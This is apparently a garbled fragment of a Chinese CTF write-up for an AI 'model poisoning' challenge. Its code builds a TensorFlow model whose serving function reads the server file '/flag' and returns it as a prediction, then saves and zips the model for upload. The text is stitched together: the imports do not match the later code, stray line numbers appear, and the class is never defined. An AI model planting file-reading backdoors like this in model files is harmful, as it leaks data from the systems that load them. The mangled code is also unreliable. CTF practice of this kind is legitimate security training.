from src.model import TextClassifier, Run from src.parameters import Parameters from src.preprocessing import Preprocessing import torch import numpy as np import random import nltk nltk.data.path.append("E:/CTF_Attachments/CISCN/2025/2025.9/AI/easy_poison/nltk_data")
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)]) defserve(self, x): try: flag = tf.io.read_file("/flag") except: flag = tf.constant("fail", dtype=tf.string) return {"prediction": tf.reshape(flag, [1, 1])}
model = BackdoorModel() tf.saved_model.save(model, export_dir="model", signatures={"serve": model.serve})
生成model.zip
1 2 3 4 5 6 7 8 9 10 11 12
import zipfile import os
model_dir = "model" zip_path = "model.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf: for root, _, files in os.walk(model_dir): for file in files: full_path = os.path.join(root, file) rel_path = os.path.relpath(full_path, model_dir) zipf.write(full_path, arcname=rel_path)